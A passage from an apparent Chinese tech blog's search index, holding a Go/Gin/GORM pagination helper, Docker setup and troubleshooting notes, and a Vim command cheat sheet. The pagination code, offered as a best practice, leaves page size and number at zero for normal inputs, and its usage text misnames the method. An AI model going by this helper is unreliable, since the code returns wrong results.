class=\"keyword\"\u003etype\u003c/span\u003e Pagination \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ePageSize \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ePageNum \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// GetPagination Get pagination info\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003eGetPagination\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *gin.Context)\u003c/span\u003e\u003c/span\u003e Pagination \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e data Pagination\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epageSize, _ := strconv.Atoi(c.Query(\u003cspan class=\"string\"\u003e\u0026quot;pagesize\u0026quot;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epageNum, _ := strconv.Atoi(c.Query(\u003cspan class=\"string\"\u003e\u0026quot;pagenum\u0026quot;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e pageSize \u0026gt;= \u003cspan class=\"number\"\u003e100\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003edata.PageSize = \u003cspan class=\"number\"\u003e100\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e pageSize \u0026lt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003edata.PageSize = \u003cspan class=\"number\"\u003e10\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e pageNum \u0026lt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003edata.PageNum = \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e data\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(p *Pagination)\u003c/span\u003e\u003c/span\u003e PaginatedResults(db *gorm.DB) *gorm.DB \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoffset := (p.PageNum - \u003cspan class=\"number\"\u003e1\u003c/span\u003e) * p.PageSize\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e db.Offset(offset).Limit(p.PageSize)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e使用方法就是在Gin Handler中用\u003ccode\u003eGetPagination\u003c/code\u003e获取分页参数,然后在\u003ccode\u003emodel\u003c/code\u003e的具体数据库实现操作中使用\u003ccode\u003edb.Scopes(page.PaginatedResult).xxx\u003c/code\u003e直接分页。\u003c/p\u003e\u003cp\u003e应该是一种最佳实践。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/10/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Golang%E4%BB%A3%E7%A0%81%E5%A4%8D%E7%94%A8-%E5%88%86%E9%A1%B5%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5/"},{"title":"Docker使用笔记","time":"2023-10-01T09:36:32Z","content":"(*/ω\*)\u003chr /\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"#安装\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003cp\u003e各种发行版都不一样,Arch直接\u003ccode\u003esudo pacman -S docker\u003c/code\u003e就行。\u003c/p\u003e\u003cp\u003e安装完毕后,输入\u003ccode\u003esudo systemctl enable --now docker.service\u003c/code\u003e启动Docker服务。\u003c/p\u003e\u003ch3 id=\"权限配置\"\u003e\u003ca href=\"#权限配置\" class=\"headerlink\" title=\"权限配置\"\u003e\u003c/a\u003e权限配置\u003c/h3\u003e\u003cp\u003e想不用\u003ccode\u003esudo\u003c/code\u003e就用Docker,那就得配置用户组权限:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo groupadd docker \u003cspan class=\"comment\"\u003e# ensure the usergroup docker exists\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esudo usermod -aG docker \u003cspan class=\"variable\"\u003e$USER\u003c/span\u003e \u003cspan class=\"comment\"\u003e# add curr user to docker group\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"镜像加速\"\u003e\u003ca href=\"#镜像加速\" class=\"headerlink\" title=\"镜像加速#\"\u003e\u003c/a\u003e镜像加速\u003ca href=\"https://www.cnblogs.com/qianyuzz/p/18016205#%E9%95%9C%E5%83%8F%E5%8A%A0%E9%80%9F\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003e我使用的是\u003ca href=\"https://cr.console.aliyun.com/cn-shenzhen/instances/mirrors\"\u003e阿里云镜像\u003c/a\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e安装/升级Docker客户端\u003cbr\u003e 推荐安装1.10.0以上版本的Docker客户端,参考文档docker-ce\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e配置镜像加速器\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eroot@Ubuntu:~\u003cspan class=\"comment\"\u003e# vim /etc/docker/daemon.json\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eroot@Ubuntu:~\u003cspan class=\"comment\"\u003e# sudo systemctl daemon-reload\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eroot@Ubuntu:~\u003cspan class=\"comment\"\u003e# sudo systemctl restart docker\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eroot@Ubuntu:~\u003cspan class=\"comment\"\u003e# cat /etc/docker/daemon.json\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026quot;registry-mirrors\u0026quot;\u003c/span\u003e: [\u003cspan class=\"string\"\u003e\u0026quot;https://xxxxxx.mirror.aliyuncs.com\u0026quot;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e最后使用\u003ccode\u003edocker info\u003c/code\u003e 就可以查看是否更换镜像成功。\u003c/p\u003e\u003ch2 id=\"使用指南\"\u003e\u003ca href=\"#使用指南\" class=\"headerlink\" title=\"使用指南\"\u003e\u003c/a\u003e使用指南\u003c/h2\u003e\u003ch3 id=\"离线使用\"\u003e\u003ca href=\"#离线使用\" class=\"headerlink\" title=\"离线使用\"\u003e\u003c/a\u003e离线使用\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e最近国内docker镜像都歇菜之后,倒也该了解下这方面的知识了\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e假设目标设备已经安装docker,但是无法正常使用docker pull。那么找到一个有网络条件的设备,使用\u003ccode\u003edocker pull\u003c/code\u003e命令从Docker Hub或其他仓库拉取所需的镜像。完成后,使用\u003ccode\u003edocker save\u003c/code\u003e命令将镜像保存到文件中:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edocker save -o /path/to/image.tar imageName:tag\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成后,将生成的\u003ccode\u003e.tar\u003c/code\u003e文件复制到存储介质中。\u003c/p\u003e\u003cp\u003e在无网络设备上插上你的存储设备,使用\u003ccode\u003edocker load\u003c/code\u003e命令从\u003ccode\u003e.tar\u003c/code\u003e文件中加载镜像:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edocker load -i /path/to/image.tar\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e后续用法就没啥区别了。\u003c/p\u003e\u003ch2 id=\"疑难杂症\"\u003e\u003ca href=\"#疑难杂症\" class=\"headerlink\" title=\"疑难杂症\"\u003e\u003c/a\u003e疑难杂症\u003c/h2\u003e\u003ch3 id=\"tls-failed-to-verify-certificate-x509-certificate-signed-by-unknown-authority\"\u003e\u003ca href=\"#tls-failed-to-verify-certificate-x509-certificate-signed-by-unknown-authority\" class=\"headerlink\" title=\"tls: failed to verify certificate: x509: certificate signed by unknown authority\"\u003e\u003c/a\u003e\u003ccode\u003etls: failed to verify certificate: x509: certificate signed by unknown authority\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e现象是,在容器内会发现https连接不可用,都会报上面的错误。但是容器的宿主机连接正常。\u003c/p\u003e\u003cp\u003e报错内容是证书由未知机构签署。原因是基于https的web连接基于tls机制来认证连接双方可信,并且不会存在中间人攻击(即,在你到服务器的通信中,第三方几乎不可能解密你们加密后的通信内容)。但是因为基于tls可信原理的条件进行推导,最终会得出必须存在一个可信根证书预先分发给客户端的结论。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003ex509是一个标准,它定义了公钥证书的格式,这些证书用于TLS和其他加密通信。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e所以,上面的错误表示证书部分出现错误。未知证书表示客户端没有信任签发服务器证书的证书颁发机构(CA)。客户端的信任存储中没有包含该CA的证书,因此无法验证服务器证书的有效性。\u003c/p\u003e\u003cp\u003e因此鉴定为容器镜像里边缺tls证书了。\u003c/p\u003e\u003ch4 id=\"解决方案\"\u003e\u003ca href=\"#解决方案\" class=\"headerlink\" title=\"解决方案\"\u003e\u003c/a\u003e解决方案\u003c/h4\u003e\u003cul\u003e\u003cli\u003e在容器中执行\u003ccode\u003eapt-get install ca-certificates\u003c/code\u003e\u003c/li\u003e\u003cli\u003e在映射中添加如下映射:\u003ccode\u003e/etc/ssl/certs/ca-certificates.crt:/etc/ssl/certs/ca-certificates.crt\u003c/code\u003e\u003c/li\u003e\u003cli\u003e在映射中添加如下映射:\u003ccode\u003e/usr/share/zoneinfo/Asia/Shanghai:/etc/localtime:ro\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e如果是\u003ccode\u003eubuntu:latest\u003c/code\u003e的话,那大概率已经安装\u003ccode\u003eca-certificates\u003c/code\u003e,执行2,3尝试即可。\u003c/p\u003e\u003ch2 id=\"参考文献\"\u003e\u003ca href=\"#参考文献\" class=\"headerlink\" title=\"参考文献\"\u003e\u003c/a\u003e参考文献\u003c/h2\u003e\u003cul\u003e\u003cli\u003eDocker官方文档:\u003ca href=\"https://docs.docker.com/\"\u003ehttps://docs.docker.com/\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://mxts.jiujiuer.xyz/2023/10/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Docker%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/"},{"title":"Vim备忘录","time":"2023-09-29T21:30:53Z","content":"Cheat sheet,翻译过来也就是“打小抄”。入门时用来记命令倒是挺方便的\u003chr /\u003e\u003ch2 id=\"How-to-Exit\"\u003e\u003ca href=\"#How-to-Exit\" class=\"headerlink\" title=\"How to Exit\"\u003e\u003c/a\u003eHow to Exit\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:q[uit]\u003c/td\u003e\u003ctd\u003eQuit Vim. This fails when changes have been made.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:q[uit]!\u003c/td\u003e\u003ctd\u003eQuit without writing.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:cq[uit]\u003c/td\u003e\u003ctd\u003eQuit always, without writing.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq\u003c/td\u003e\u003ctd\u003eWrite the current file and exit.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq!\u003c/td\u003e\u003ctd\u003eWrite the current file and exit always.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq {file}\u003c/td\u003e\u003ctd\u003eWrite to {file}. Exit if not editing the last\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq! {file}\u003c/td\u003e\u003ctd\u003eWrite to {file} and exit always.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]wq[!]\u003c/td\u003e\u003ctd\u003e[file] Same as above, but only write the lines in [range].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eZZ\u003c/td\u003e\u003ctd\u003eWrite current file, if modified, and exit.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eZQ\u003c/td\u003e\u003ctd\u003eQuit current file and exit (same as “:q!”).\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Editing-a-File\"\u003e\u003ca href=\"#Editing-a-File\" class=\"headerlink\" title=\"Editing a File\"\u003e\u003c/a\u003eEditing a File\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]\u003c/td\u003e\u003ctd\u003eEdit the current file. This is useful to re-edit the current file, when it has been changed outside of Vim.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]!\u003c/td\u003e\u003ctd\u003eEdit the current file always. Discard any changes to the current buffer. This is useful if you want to start all over again.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit] {file}\u003c/td\u003e\u003ctd\u003eEdit {file}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]! {file}\u003c/td\u003e\u003ctd\u003eEdit {file} always. Discard any changes to the current buffer.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egf\u003c/td\u003e\u003ctd\u003eEdit the file whose name is under or after the cursor. Mnemonic: “goto file”.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Inserting-Text\"\u003e\u003ca href=\"#Inserting-Text\" class=\"headerlink\" title=\"Inserting Text\"\u003e\u003c/a\u003eInserting Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ea\u003c/td\u003e\u003ctd\u003eAppend text after the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eA\u003c/td\u003e\u003ctd\u003eAppend text at the end of the line [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ei\u003c/td\u003e\u003ctd\u003eInsert text before the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eI\u003c/td\u003e\u003ctd\u003eInsert text before the first non-blank in the line [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egI\u003c/td\u003e\u003ctd\u003eInsert text in column 1 [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eo\u003c/td\u003e\u003ctd\u003eBegin a new line below the cursor and insert text, repeat [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eO\u003c/td\u003e\u003ctd\u003eBegin a new line above the cursor and insert text, repeat [count] times.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Inserting-a-file\"\u003e\u003ca href=\"#Inserting-a-file\" class=\"headerlink\" title=\"Inserting a file\"\u003e\u003c/a\u003eInserting a file\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:r[ead] [name]\u003c/td\u003e\u003ctd\u003eInsert the file [name] below the cursor.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:r[ead] !{cmd}\u003c/td\u003e\u003ctd\u003eExecute {cmd} and insert its standard output below the cursor.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Deleting-Text\"\u003e\u003ca href=\"#Deleting-Text\" class=\"headerlink\" title=\"Deleting Text\"\u003e\u003c/a\u003eDeleting Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u0026lt;Del\u0026gt; or x\u003c/td\u003e\u003ctd\u003eDelete [count] characters under and after the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eX\u003c/td\u003e\u003ctd\u003eDelete [count] characters before the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ed{motion}\u003c/td\u003e\u003ctd\u003eDelete text that {motion} moves over\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003edd\u003c/td\u003e\u003ctd\u003eDelete [count] lines\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eD\u003c/td\u003e\u003ctd\u003eDelete the characters under the cursor until the end of the line\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}x or \u003cbr\u003e{Visual}d\u003c/td\u003e\u003ctd\u003eDelete the highlighted text (for {Visual} see \u003ca href=\"http://fprintf.net/vimCheatSheet.html#select\"\u003eSelecting Text\u003c/a\u003e).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}CTRL-H or \u003cbr\u003e{Visual}\u003c/td\u003e\u003ctd\u003eWhen in Select mode: Delete the highlighted text\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}X or \u003cbr\u003e{Visual}D\u003c/td\u003e\u003ctd\u003eDelete the highlighted lines\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]d[elete]\u003c/td\u003e\u003ctd\u003eDelete [range] lines (default: current line)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]d[elete] {count}\u003c/td\u003e\u003ctd\u003eDelete {count} lines, starting with [range]\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Changing-or-Replacing-Text\"\u003e\u003ca href=\"#Changing-or-Replacing-Text\" class=\"headerlink\" title=\"Changing (or Replacing) Text\"\u003e\u003c/a\u003eChanging (or Replacing) Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003er{char}\u003c/td\u003e\u003ctd\u003ereplace the character under the cursor with {char}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003eEnter Insert mode, replacing characters rather than inserting\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e~\u003c/td\u003e\u003ctd\u003eSwitch case of the character under the cursor and move the cursor to the right. If a [count] is given, do that many characters.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e~{motion}\u003c/td\u003e\u003ctd\u003eswitch case of {motion} text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}~\u003c/td\u003e\u003ctd\u003eSwitch case of highlighted text\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Substituting\"\u003e\u003ca href=\"#Substituting\" class=\"headerlink\" title=\"Substituting\"\u003e\u003c/a\u003eSubstituting\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:[range]s[ubstitute]\u0026#x2F;{pattern}\u0026#x2F;{string}\u0026#x2F;[c][e][g][p][r][i][I] [count]\u003c/td\u003e\u003ctd\u003eFor each line in [range] replace a match of {pattern} with {string}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]s[ubstitute] [c][e][g][r][i][I] [count] :[range]\u0026amp;[c][e][g][r][i][I] [count]\u003c/td\u003e\u003ctd\u003eRepeat last :substitute with same search pattern and substitute string, but without the same flags. You may add extra flags\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eThe arguments that you can use for the substitute commands:\u003cbr\u003e[c] Confirm each substitution. Vim positions the cursor on the matching\u003cbr\u003e string. You can type:\u003cbr\u003e ‘y’ to substitute this match\u003cbr\u003e ‘n’ to skip this match\u003cbr\u003e to skip this match\u003cbr\u003e ‘a’ to substitute this and all remaining matches {not in Vi}\u003cbr\u003e ‘q’ to quit substituting {not in Vi}\u003cbr\u003e CTRL-E to scroll the screen up {not in Vi}\u003cbr\u003e CTRL-Y to scroll the screen down {not in Vi}.\u003cbr\u003e[e] When the search pattern fails, do not issue an error message and, in\u003cbr\u003e particular, continue in maps as if no error occurred.\u003cbr\u003e[g] Replace all occurrences in the line. Without this argument,\u003cbr\u003e replacement occurs only for the first occurrence in each line.\u003cbr\u003e[i] Ignore case for the pattern.\u003cbr\u003e[I] Don’t ignore case for the pattern.\u003cbr\u003e[p] Print the line containing the last substitute.\u003c/p\u003e\u003chr\u003e\u003ch2 id=\"Copying-and-Moving-Text\"\u003e\u003ca href=\"#Copying-and-Moving-Text\" class=\"headerlink\" title=\"Copying and Moving Text\"\u003e\u003c/a\u003eCopying and Moving Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e“{a-zA-Z0-9.%#:-“}\u003c/td\u003e\u003ctd\u003eUse register {a-zA-Z0-9.%#:-“} for next delete, yank or put (use uppercase character to append with delete and yank) ({.%#:} only work with put).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:reg[isters]\u003c/td\u003e\u003ctd\u003eDisplay the contents of all numbered and named registers.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:reg[isters] {arg}\u003c/td\u003e\u003ctd\u003eDisplay the contents of the numbered and named registers that are mentioned in {arg}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:di[splay] [arg]\u003c/td\u003e\u003ctd\u003eSame as :registers.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]y{motion}\u003c/td\u003e\u003ctd\u003eYank {motion} text [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]yy\u003c/td\u003e\u003ctd\u003eYank [count] lines [into register x]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]Y\u003c/td\u003e\u003ctd\u003eyank [count] lines [into register x] (synonym for yy).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}[“x]y\u003c/td\u003e\u003ctd\u003eYank the highlighted text [into register x] (for {Visual} see \u003ca href=\"http://fprintf.net/vimCheatSheet.html#select\"\u003eSelecting Text\u003c/a\u003e).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}[“x]Y\u003c/td\u003e\u003ctd\u003eYank the highlighted lines [into register x]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]y[ank] [x]\u003c/td\u003e\u003ctd\u003eYank [range] lines [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]y[ank] [x] {count}\u003c/td\u003e\u003ctd\u003eYank {count} lines, starting with last line number in [range] (default: current line), [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]p\u003c/td\u003e\u003ctd\u003ePut the text [from register x] after the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]P\u003c/td\u003e\u003ctd\u003ePut the text [from register x] before the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]gp\u003c/td\u003e\u003ctd\u003eJust like “p”, but leave the cursor just after the new text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]gP\u003c/td\u003e\u003ctd\u003eJust like “P”, but leave the cursor just after the new text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[line]pu[t] 